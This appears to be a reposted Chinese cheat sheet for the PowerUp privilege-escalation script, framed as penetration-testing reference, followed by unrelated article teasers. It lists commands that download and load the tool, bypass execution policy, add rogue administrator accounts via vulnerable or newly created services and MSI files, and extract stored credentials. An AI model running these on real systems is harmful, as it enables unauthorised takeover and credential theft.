提權腳本Powerup命令備忘單

1. 獲取與加載
  • 從 GitHub 下載
    (New-Object Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")
    
  • 本地加載
    Import-Module .\PowerUp.ps1
    
  • 繞過執行策略
    powershell.exe -ep Bypass -File PowerUp.ps1
    

2. 場景化使用
場景 1:快速全面掃描提權機會
  • 需求:快速了解目標系統所有潛在提權路徑。
  • 命令
    Invoke-AllChecks
    
  • 用途:掃描所有漏洞向量(如服務、注冊表、DLL 劫持等),輸出詳細結果及建議的濫用函數。
  • 擴展:生成 HTML 報告,便于分析:
    Invoke-AllChecks -HTMLReport
    
  • 適用場景:滲透測試初期,需全面摸底系統配置。
場景 2:檢查服務相關提權
  • 需求:發現可利用的服務配置錯誤(如未加引號路徑或可修改服務)。
  • 命令
    • 未加引號服務路徑:
      Get-ServiceUnquoted
      
    • 可修改服務:
      Get-ModifiableService
      
    • 可寫服務二進制路徑:
      Get-ModifiableServiceFile
      
  • 用途:識別服務配置漏洞,常用于服務路徑劫持或替換服務二進制。
  • 利用示例
    • 發現可修改服務后,添加管理員用戶:
      Invoke-ServiceAbuse -Name "Vuln-Service" -Username "john" -Password "Password123!"
      
    • 利用未加引號路徑:
      Write-ServiceBinary -Name "unquotedsvc" -Path "C:\Program Files\Unquoted Path Service\Common.exe" -Username "badmin" -Password "p4ssw0rd"
      
  • 適用場景:目標系統運行大量服務,需針對服務提權。
場景 3:查找 DLL 劫持機會
  • 需求:檢查是否存在 DLL 劫持漏洞以提升權限。
  • 命令
    • 查找 DLL 劫持:
      Invoke-FindDLLHijack
      
    • PATH 環境變量劫持:
      Invoke-FindPathDLLHijack
      
  • 用途:識別缺失或可寫 DLL 的加載路徑,適合植入惡意 DLL。
  • 適用場景:目標系統運行自定義應用程序,可能存在 DLL 加載問題。
場景 4:檢查注冊表提權路徑
  • 需求:發現注冊表配置錯誤(如自動運行程序或 UAC 繞過)。
  • 命令
    • 自動運行程序:
      Get-RegistryAutoRun
      
    • AlwaysInstallElevated(UAC 繞過):
      Get-RegistryAlwaysInstallElevated
      
  • 利用示例
    • 利用 AlwaysInstallElevated:
      Write-UserAddMSI
      
  • 適用場景:目標系統配置了自動運行程序或啟用了高權限安裝策略。
場景 5:提取憑據與配置文件
  • 需求:從系統配置文件中獲取敏感憑據。
  • 命令
    • Web 配置文件憑據:
      Get-Webconfig
      
    • Unattended.xml 憑據:
      Get-UnattendedInstallFile
      
  • 用途:提取未加密的憑據,獲取管理員賬戶或服務賬戶信息。
  • 適用場景:目標系統為 Web 服務器或存在自動安裝配置文件。
場景 6:檢查令牌與權限
  • 需求:了解當前用戶的權限或令牌狀態,尋找特權提升機會。
  • 命令
    • 進程令牌權限:
      Get-ProcessTokenPrivilege
      
    • 用戶 SID 組:
      Get-ProcessTokenGroup
      
  • 利用示例
    • 啟用特權(如 SeDebugPrivilege):
      Enable-Privilege -Privilege "SeDebugPrivilege"
      
  • 適用場景:當前用戶擁有潛在高權限令牌,需進一步利用。
場景 7:創建惡意服務提權
  • 需求:通過安裝自定義服務執行高權限命令。
  • 命令
    Install-ServiceBinary -Name "EvilService" -Command "net user hacker Pass123! /add"
    
  • 用途:創建新服務以運行提權命令,適合無現成漏洞但有服務創建權限的場景。
  • 適用場景:目標系統允許低權限用戶創建服務。

3. 輸出與記錄
  • 保存結果
    Invoke-AllChecks | Tee-Object -FilePath C:\Users\Public\report.txt
    
  • 生成 HTML 報告
    Invoke-AllChecks -HTMLReport
    
  • 用途:便于整理分析或提交測試報告。

4. 實用提示
  • 運行環境:Windows 系統,PowerShell 2.0+,低權限用戶運行以發現提權路徑。
  • 注意事項
    • 確認服務可重啟(CanRestart: True)再利用。
    • 測試前評估命令影響,避免破壞系統。
    • 優先手動驗證 Invoke-AllChecks 結果,避免直接運行自動提權。
  • 獲取幫助
    Get-Help <Cmdlet-Name> -Full
    
    示例:Get-Help Get-ModifiableService -Full

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/905808.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/905808.shtml
英文地址,請注明出處:http://en.pswp.cn/news/905808.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2025年Ai寫PPT工具推薦,這5款Ai工具可以一鍵生成專業PPT

上個月給客戶做產品宣講時&#xff0c;我對著空白 PPT 頁面熬到凌晨一點&#xff0c;光是調整文字排版就改了十幾版&#xff0c;最后還是被吐槽 "內容零散沒重點"。后來同事分享了幾款 ai 寫 PPT 工具&#xff0c;試完發現簡直打開了新世界的大門 —— 不用手動寫大綱…

部署docker上的redis,idea一直顯示Failed to connect to any host resolved for DNS name

參考了https://blog.csdn.net/m0_74216612/article/details/144145127 這篇文章&#xff0c;關閉了centos的防火墻&#xff0c;也修改了redis.conf文件&#xff0c;還是一直顯示Failed to connect to any host resolved for DNS name。最終發現是騰訊云服務器那一層防火墻沒…

QML元素 - OpacityMask

QML 的 OpacityMask 用于通過遮罩元素的 透明度&#xff08;Alpha 通道&#xff09; 裁剪源元素的可見區域&#xff0c;適用于創建不規則形狀的 UI 元素&#xff08;如圓形頭像、波浪形進度條&#xff09;或復雜視覺效果。以下是詳細使用技巧和常見場景示例&#xff1a; 1. 基本…

麒麟桌面系統文件保險箱快捷訪問指南:讓重要文件夾一鍵直達桌面!

往期文章鏈接&#xff1a;統信操作系統自定義快捷鍵配置音量調節功能指南 Hello&#xff0c;大家好啊&#xff0c;今天給大家帶來一篇麒麟桌面操作系統上配置文件保險箱內文件夾桌面快捷方式的文章&#xff0c;歡迎大家分享點贊&#xff0c;點個在看和關注吧&#xff01;在日常…

LLM筆記(三)位置編碼(1)

位置編碼理論與應用 1. 位置編碼如何解決置換不變性及其數學表現 在Transformer模型中&#xff0c;自注意力機制&#xff08;Self-Attention&#xff09;具有置換不變性&#xff08;permutation invariance&#xff09;&#xff0c;這意味著對輸入序列的詞元&#xff08;toke…

在人臉識別項目中ffmpeg有什么作用

在人臉識別項目中&#xff0c;FFmpeg 主要用于處理視頻文件或流媒體數據。盡管 FFmpeg 本身并不是直接用于人臉識別的工具&#xff0c;但它通過其強大的多媒體處理能力&#xff0c;在很多方面間接支持了人臉識別任務的執行。以下是 FFmpeg 在人臉識別項目中的幾個主要作用&…

問題 | 國內外軟件定義衛星最新進展研究

軟件定義衛星 **一、國內進展****二、國際進展****三、未來發展方向****總結** 軟件定義衛星&#xff08;Software-Defined Satellite, SDS&#xff09;作為航天領域的重要技術革新方向&#xff0c;近年來在全球范圍內發展迅速。其核心是通過開放式架構和動態軟件配置實現衛星功…

【專利信息服務平臺-注冊/登錄安全分析報告】

前言 由于網站注冊入口容易被黑客攻擊&#xff0c;存在如下安全問題&#xff1a; 暴力破解密碼&#xff0c;造成用戶信息泄露短信盜刷的安全問題&#xff0c;影響業務及導致用戶投訴帶來經濟損失&#xff0c;尤其是后付費客戶&#xff0c;風險巨大&#xff0c;造成虧損無底洞…

【Linux專欄】Linux進程間關系和守護進程

文章目錄 1、進程間關系1.1 進程組1.2 組長進程 2、會話&#xff1f;2.1 查看會話2.2 創建會話 3、控制終端4、作業控制4.1 前臺/后臺進程 5、守護進程5.1 如何創建守護進程&#xff1f;5.2 殺掉守護進程 1、進程間關系 主要描述兩個名稱概念&#xff1a;即進程組和組長進程。…

電商物流管理優化:從網絡重構到成本管控的全鏈路解析

大家好&#xff0c;我是沛哥兒。作為電商行業&#xff0c;我始終認為物流是電商體驗的“最后一公里”&#xff0c;更是成本控制的核心戰場。隨著行業競爭加劇&#xff0c;如何通過物流網絡優化實現降本增效&#xff0c;已成為電商企業的必修課。本文將從物流網絡的各個環節切入…

ubuntu 更新華為源

1. 備份配置文件 sudo cp -a /etc/apt/sources.list /etc/apt/sources.list.bak 2. 修改source.list 文件&#xff0c;將http://archive.ubuntu.com和http://security.ubuntu.com替換成http://repo.huaweicloud.com&#xff0c;可以參考如下命令&#xff1a; # 第一條指令 s…

CS016-4-unity ecs

【37】將系統轉換為任務 Converting System to Job 【Unity6】使用DOTS制作RTS游戲|17小時完整版|CodeMonkey|【37】將系統轉換為任務 Converting System to Job_嗶哩嗶哩_bilibili a. 將普通的方法&#xff0c;轉化成job。第一個是寫一個partial struct xxx&#xff1b;第二…

如何使用 React Hooks 替代類組件的生命周期方法?

文章目錄 1. 引言2. useEffect 概述3. 模擬類組件的生命周期方法3.1 模擬 componentDidMount3.2 模擬 componentDidUpdate3.3 模擬 componentWillUnmount 4. 多個 useEffect 的使用5. 注意事項6. 總結 1. 引言 在 React 16.8 版本之前&#xff0c;開發者主要通過類組件&#x…

盒帶自編教材《軟件工程》目錄

目錄 前言 第1章 軟件工程概述 1.1 軟件概述 1.1.1 軟件的定義 1.1.2 軟件的特點 1.1.3 軟件的分類 1.1.4 軟件的發展 1.2 軟件危機 1.2.1 什么是軟件危機 1.2.2 產生的原因及解決途徑 1.3 軟件工程 1.3.1 軟件工程定義 1.3.2 軟件工程的研究內容 1.3.3 軟件工程的目標和原則…

CAN通信協議傳輸數據,為什么喜歡低位在前高位在后?而RS485則更傾向高位在前低位在后?

CAN 通信協議通常采用低位在前&#xff08;小端字節序&#xff09;&#xff0c;而 RS - 485 本身沒有固定要求高位在前或低位在后&#xff0c;其數據傳輸順序更多取決于具體應用和上層協議。 CAN 通信協議低位在前的原因 硬件設計與實現角度 邏輯電路處理便捷&#xff1a;數…

NGINX 安全性:持續進化的防護能力,為您的應用保駕護航

在數字時代,網絡安全的重要性不言而喻。任何暴露在互聯網上的應用都可能成為攻擊者的目標。作為互聯網基礎設施的關鍵組成部分,NGINX 不僅是高性能的 Web 服務器和反向代理,更在應用安全防護方面扮演著至關重要的角色。它就像您數字資產的“第一道防線”和“智能門禁”,憑借…

makefile細節說明

在 Makefile中&#xff0c;依賴關系的左右兩部分有特定的名稱&#xff1a; ??左邊部分&#xff08;冒號左側&#xff09;?? 稱為 ??目標&#xff08;Target&#xff09;?? ??右邊部分&#xff08;冒號右側&#xff09;?? 稱為 ??依賴項&#xff08;Prerequisite…

Zephyr OS Nordic芯片的Flash 操作

目錄 概述 1. 軟硬件環境 1.1 軟件開發環境 1.2 硬件環境 2 Flash操作庫函數 2.1 nRF52832的Flash 2.2 Nordic 特有的 Flash 操作 2.2.1 nrfx_nvmc_bytes_write 函數 2.2.2 nrfx_nvmc_page_erase函數 2.2.3 nrfx_nvmc_write_done_check 函數 3 操作Flash的接口函數…

03、基礎入門-SpringBoot的大時代背景

03、基礎入門-SpringBoot的大時代背景 # Spring Boot的大時代背景 Spring Boot的出現和發展&#xff0c;與以下時代背景密切相關&#xff1a; ## 1. 微服務架構的興起 ### 背景 隨著互聯網應用的復雜度增加&#xff0c;傳統的單體架構在擴展性、維護性和團隊協作方面遇到瓶…

ChromaDB 向量庫優化技巧實戰

chroma 一步步使用 安裝 # 安裝chromadb pip install chromadb,sentence_transformers# 不啟動服務會出現sock.connect(sa)TimeoutError: timed out chroma run服務啟動后&#xff0c;您將看到類似以下輸出&#xff1a; 建立連接 部署完成后&#xff0c;需要建立與Chroma服…